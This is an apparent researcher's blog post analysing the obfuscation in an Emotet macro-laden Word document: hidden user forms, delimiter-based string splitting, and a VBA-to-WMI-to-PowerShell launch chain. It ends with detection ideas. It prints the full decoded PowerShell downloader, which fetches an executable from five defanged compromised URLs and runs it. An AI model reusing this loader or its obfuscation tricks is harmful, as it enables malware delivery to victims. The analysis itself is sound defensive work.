New Obfuscation Techniques in Emotet Maldocs


Emotet is a modular malware delivery platform that has consistently dominated the commodity malware threat landscape over the past couple of years. It has evolved from a straightforward banking trojan into a full-fledged malware distribution service, delivering a variety of payloads for other threat actor groups. The U.S. Department of Homeland Security states that Emotet infections cost state and local governments up to $1 million to remediate. Emotet is operated by the threat group tracked as Mummy Spider.

On Thursday 1-23-20, I analyzed a document from a spam campaign that had some interesting new obfuscation techniques that I had not previously seen before. These are techniques likely designed to bypass detection by AV engines and/or spam filters. Emotet is commonly delivered in phishing campaigns via a macro-enabled Word document. The new obfuscation included some fundamental changes to the document structure (e.g. new variants of user forms, modules, and objects) , as well as a significantly upgraded obfuscation scheme within the VBA macro code itself.

The overall infection chain in this case remains pretty much the same: a malicious Word document that is weaponized with macros is opened, which invokes a WMI process call that spawns a PowerShell script. That script attempts to download the core binary from a quintet of URL resources. 

Observing tactical evolution is quite common in Emotet samples, particularly after Mummy Spider takes an extended break. The timing here is somewhat predictable as the group just recently returned to spamming operation on January 14 after their typical break following the observance of the Christmas Holiday in the United States and in Russia.

I’ve covered the maldocs for this malware variant a couple of times before, but it has been a little while since I’ve taken a look at Emotet, so I was interested in digging a little deeper for any new tactics, techniques, or procedures (TTPs). There was a recent SANS Diary that covered a similar macro at high level, but I wanted to go a bit further with some static analysis of these malicious documents. This type of analysis always represents a fun and challenging problem to solve, so I hope you find some value here as well. Let’s go.

Document Structure and Hidden Code

The sample we will be taking a look at was fresh from January 23rd. I pulled down a sample from VirusTotal:

  • SHA256: 42EF98F658B04A96BCF968EE762EAF604DE493259B0122B953F53F592C1375D8
The “Blue Template”

The first change to call out is the apparent switch back to what some researchers refer to as the “Blue Template”. There are a handful of different document template that are cycled through, and the “Orange Template” has been the most popular flavor in rotation as of late.

To begin the analysis of the macro, we will drop into the VBA project making sure we don’t Enable Content and kick off the infection chain inadvertently. The Visual Basic editor can be accessed via the hidden developer tab. Inside, it initially appears that not much has changed, but this is far from the case…

In the project viewer tree, we see a Word Object, Modules, and some Forms. Historically, the main VBA code is contained in the modules and the encoded PowerShell script that will ultimately load Emotet is stashed in some hidden text-boxes within the user form. The Base64 encoded strings have essentially been in cleartext, although broken up across the many, many text-boxes (see my analysis here for more on this style).

Forms Everywhere

Where before there would have been several modules with only a single Form, here we see 22 Forms. A lot of these are empty and don’t have any impact on the document execution, but when reviewing, we eventually identify one Form in particular that contains a lot of embedded content. This Form has the unassuming name of “Rtuatvmpjx”. It appears random and superficially no different from the other 2 dozen.

“Rtuatvmpjx” Form

Better and more inquisitive analysts than myself may have stumbled onto this Form through sheer determination, but I cheated. I knew to take a closer look at this Form based on the macro code in the modules that refers to this multiple times. More on this later in the code review section….

As mentioned above, I knew analysis of this particular Form would bear fruit based on several variables and calls made to objects with a name something similar to Rtuatvmpjx.blahblahblah. It’s always a good idea to check out the code first to give you some clues as to what other objects might be ripe for future pivots. Anyways, here we see what seem like the old tried and true text-boxes that Emtotet has typically leveraged over the past several months. They were hidden under two randomly named Frames and a greyed-out image. These can just be clicked and then dragged around to expose the remaining objects.

One of the clear tactical departures here is the usage of drop down menus and a radio button to store hide another layer of obfuscation. This is in stark contrast to the simple base64 encoded strings that were stashed in the old text-boxes. I’m not entirely sure of the purpose for the drop-downs and buttons here, but its possible the actors are thinking these are more likely to appear more naturally legitimate and evade detections by defenses that are tipped off to the text-box technique. Further it just makes logical sense that a user form in an application or document would include menus and buttons, but the same is not the case for hidden text-boxes.

Script Obfuscation

So now that we have an understanding of how the malicious document is built, we can pivot over the macro code itself. The main block of VBA code is stored in the module named “Xxgzppruuavmo“. It contains about 280 lines of code, most of which is junk designed for anti-analysis. The macro code makes several calls to the boxes and buttons we just saw to build the final PowerShell downloader script. We can get rid of most of the extraneous code and pare this down to something a little more manageable.

Xxgzppruuavmo Module

I’ve highlighted the calls that the macro makes to the hidden box/button objects. There are a couple appended with the .Tag and .GroupName modifiers, which are interesting. These are actually the tag property of the Frames, while the .GroupName is calling the GroupName property of the Forms’ fields. These are used to store strings in the fields. The Ppusyquk GroupName was particularly interesting as it stored a string of nearly 15,000 characters, of which, about 10,000 were just empty spaces.

Ppusyquk Button

The remaining 5,000 characters in the GroupName field for the Ppusyquk Button contained the bulk of the base64 encoded PowerShell script. This was heavily obfuscated with a character insertion technique and repeating string of “23nNN=sd”.

Once we have made another pass with extracting the strings from the hidden user Form objects, we have a block of code that is closer to making some sense. Unfortunately there is still quite a lot of obfuscation to solve. Our remaining macro includes a an expression for a document open event at the top followed by two core Functions and a couple of Set statements.

Obfuscated macro

Function – Ndmorrswify

It will be easier if we tackle this in smaller chunks and just one function at a time. Above we can see that this function includes the 5,000 character string we pulled out of the GroupName field of that Option Button. A great indicator to key off of here is that the string begins with “JAB”. This appears to be a high fidelity indicator for the base64 encoded PowerShell script. Pretty much all of the Emotet variants I’ve seen over the past few months have included this feature.

Function – Ndmorrswify

There are a couple other notable features of the obfuscation tactics in this Function. The next interesting feature is the usage of “WdKey Enumeration“, which is simply just using a code that is translated as a specific keyboard strike, in this case, the letter P. The final item that appears obvious is the long strings featuring the repeated insertion of “23nNN=sd”. Not only does this serve to obfuscate bits of the encoded base64 string, but it also serves as a delimiter for the split function.

So there we have the long string extracted as an array of characters. Then they perform a trim operation to get rid of the 10,000 empty spaces, followed by the split on delimiter and subsequently joined back into a single string. This is a pretty neat trick that is subtly different than a normal character insertion that just uses a key, and can easily be solved with a find-and-replace. Here’s a closer look:

base64 encoded PowerShell script

While this could theoretically be solved with a find-and-replace, we could also just use CyberChef to split the string with the delimiter and then join back together, just like the script does it.

CyberChef FTW

Function Lkigxvqopee

The second function is not quite as onerous as the previous one. While the previous function’s role was building the final PowerShell script, the Lkigxvqopee function here is mainly concerned with the VBA wrapper to launch a WMI process to execute that final Powershell script to download the payload. The main idea behind the obfuscation scheme is similar here, in that it uses the same string insertion and variable assignments to extract an array, split it with the inserted delimiter, and finally join it back together for execution. We also see more of the keyboard enumeration in place of literal characters.

Function Lkigxvqopee

So after performing all of the necessary replace operations to de-obfuscate the script, we are left with the following macro code that launches the PowerShell script. The syntax and/or formatting are probably a bit off here, but we can clearly see the major steps of the infection from the macro: DOC>VBA>WMI>PowerShell.

cleaned macro

One last step we can perform at this point is to decode the base64 encoded string. This is the script that does the heavy lifting and actually reaches out to pull down the Emotet binary from a compromised website. Again, CyberChef is the best tool for this task. Here is the full Powershell script:

$Ojyjgzzkvthy='Pqbjfyhzj';$Ahkrqpxkabc = '107';$Muuldrmyrq='Mmkdeoctmh';$Etjqgacutm=$env:userprofile+'\'+$Ahkrqpxkabc+'.exe';$Zrxyjpavyxme='Qqleqymrws';$Dwdtenpalm=.('new-'+'objec'+'t') neT.WebClieNT;$Qphxbhun='hxxp://dentalfillins[.]net/wp-admin/mkul43/*hxxp://zinoautoindustries[.]com/wp-admin/PTh66U/*hxxps://www.streetkan[.]com/wp-content/nj7BD373962/*hxxp://dcdi.[]]biz/cgi-bin/vLh75/*hxxp://crowb[.]com/onytljej362jfjwe/BRA14/'."spL`it"([char]42);$Uuzsvfma='Uoocqhlpaf';foreach($Wcrhvarnczcr in $Qphxbhun){try{$Dwdtenpalm."D`OwnlOA`DFILe"($Wcrhvarnczcr, $Etjqgacutm);$Ymhirihhvekf='Wgbgrqyev';If ((&('Get-I'+'tem') $Etjqgacutm)."le`NGtH" -ge 37869) {[Diagnostics.Process]::"S`TArt"($Etjqgacutm);$Iffgriqawmk='Dteppejhlle';break;$Nxvtrjsdabbo='Ouijvnto'}}catch{}}$Pfsggxtbsyut='Vbvkdrca'

As always with Emotet, there is the “quintet” of 5 URLs from which it will attempt to download the payload:



So that’s it, a look at some interesting new obfuscation techniques from a recent Emotet campaign. There have been a handful of other changes to Emotet operations since Mummy Spider returned from Christmas break, but that is a post for another time…

For this scenario here, we’ve seen several tactics that could potentially be actioned into detection content. I would highly recommend developing the capability to detect base64 encoded strings that begin with the “JAB” characters. Defenders could also explore the feasibility of developing detection content for Word documents with some of these notable features:

  • High Number of User Forms
  • Multiple objects within a User Form with the exact same coordinates/position
  • User Forms with a high number of ComboBoxes and OptionButtons
  • GroupName Fields containing thousands of characters
  • VB scripts with concatenated WdKey enumeration for encoding


Leave a Reply

Your email address will not be published. Required fields are marked *